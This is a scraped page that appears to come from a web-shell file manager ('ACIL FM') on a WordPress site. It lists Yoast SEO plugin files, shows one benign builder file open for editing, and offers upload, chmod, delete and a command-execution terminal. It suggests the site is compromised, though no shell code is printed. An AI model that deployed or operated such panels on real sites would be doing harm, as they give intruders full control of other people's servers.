ACIL FM
Dark
Refresh
Current DIR:
/home/mhhtmff/www/site/wp-content/plugins/wordpress-seo/src/builders
/
home
mhhtmff
www
site
wp-content
plugins
wordpress-seo
src
builders
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
indexable-author-builder.php
7.35 MB
chmod
View
DL
Edit
Rename
Delete
indexable-builder.php
14.47 MB
chmod
View
DL
Edit
Rename
Delete
indexable-date-archive-builder.php
1.65 MB
chmod
View
DL
Edit
Rename
Delete
indexable-hierarchy-builder.php
10.76 MB
chmod
View
DL
Edit
Rename
Delete
indexable-home-page-builder.php
4.09 MB
chmod
View
DL
Edit
Rename
Delete
indexable-link-builder.php
20.82 MB
chmod
View
DL
Edit
Rename
Delete
indexable-post-builder.php
12.17 MB
chmod
View
DL
Edit
Rename
Delete
indexable-post-type-archive-builder.php
4.94 MB
chmod
View
DL
Edit
Rename
Delete
indexable-social-image-trait.php
4.71 MB
chmod
View
DL
Edit
Rename
Delete
indexable-system-page-builder.php
2.1 MB
chmod
View
DL
Edit
Rename
Delete
indexable-term-builder.php
8.13 MB
chmod
View
DL
Edit
Rename
Delete
primary-term-builder.php
2.21 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /home/mhhtmff/www/site/wp-content/plugins/wordpress-seo/src/builders/primary-term-builder.php
<?php namespace Yoast\WP\SEO\Builders; use Yoast\WP\SEO\Helpers\Meta_Helper; use Yoast\WP\SEO\Helpers\Primary_Term_Helper; use Yoast\WP\SEO\Repositories\Primary_Term_Repository; /** * Primary term builder. * * Creates the primary term for a post. */ class Primary_Term_Builder { /** * The primary term repository. * * @var Primary_Term_Repository */ protected $repository; /** * The primary term helper. * * @var Primary_Term_Helper */ private $primary_term; /** * The meta helper. * * @var Meta_Helper */ private $meta; /** * Primary_Term_Builder constructor. * * @param Primary_Term_Repository $repository The primary term repository. * @param Primary_Term_Helper $primary_term The primary term helper. * @param Meta_Helper $meta The meta helper. */ public function __construct( Primary_Term_Repository $repository, Primary_Term_Helper $primary_term, Meta_Helper $meta ) { $this->repository = $repository; $this->primary_term = $primary_term; $this->meta = $meta; } /** * Formats and saves the primary terms for the post with the given post id. * * @param int $post_id The post ID. * * @return void */ public function build( $post_id ) { foreach ( $this->primary_term->get_primary_term_taxonomies( $post_id ) as $taxonomy ) { $this->save_primary_term( $post_id, $taxonomy->name ); } } /** * Save the primary term for a specific taxonomy. * * @param int $post_id Post ID to save primary term for. * @param string $taxonomy Taxonomy to save primary term for. * * @return void */ protected function save_primary_term( $post_id, $taxonomy ) { $term_id = $this->meta->get_value( 'primary_' . $taxonomy, $post_id ); $term_selected = ! empty( $term_id ); $primary_term = $this->repository->find_by_post_id_and_taxonomy( $post_id, $taxonomy, $term_selected ); // Removes the indexable when no term found. if ( ! $term_selected ) { if ( $primary_term ) { $primary_term->delete(); } return; } $primary_term->term_id = $term_id; $primary_term->post_id = $post_id; $primary_term->taxonomy = $taxonomy; $primary_term->blog_id = \get_current_blog_id(); $primary_term->save(); } }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply